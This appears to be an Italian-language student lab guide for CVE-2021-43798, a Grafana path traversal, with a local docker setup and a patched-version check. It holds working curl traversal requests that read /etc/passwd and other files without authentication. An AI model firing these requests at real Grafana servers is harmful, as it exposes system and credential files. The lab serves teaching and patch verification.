
CVE-2021-43798 Grafana Path Traversal non autenticato - Security Lab | Shivam Gupta | 23104003
Solo per uso didattico. Esegui questo lab solo su una macchina locale isolata. Non esporlo mai a Internet.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2021-43798 |
| Prodotto | Grafana |
| Versioni interessate | 8.0.0 – 8.3.0 |
| Versione corretta | 8.3.1+ |
| Gravità | Alta |
| Punteggio CVSS v3.1 | 7.5 |
| CWE | CWE-22 — Path Traversal |
| Autenticazione richiesta | Nessuna |
| Vettore di attacco | Rete |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
Verifica:
curl http://127.0.0.1:3000/api/health
# Atteso: "version": "8.3.0"
Apri http://127.0.0.1:3000 — login: admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
Atteso: contenuto del file restituito con HTTP 200 — nessuna autenticazione richiesta.
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
Se viene restituito l'hostname → VULNERABILE. Versione 8.0.0–8.3.0 → VULNERABILE.
Avvia l'istanza corretta (Grafana 8.3.1):
docker compose -f docker-compose.patched.yml up -d
Verifica che l'exploit sia bloccato:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Atteso: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down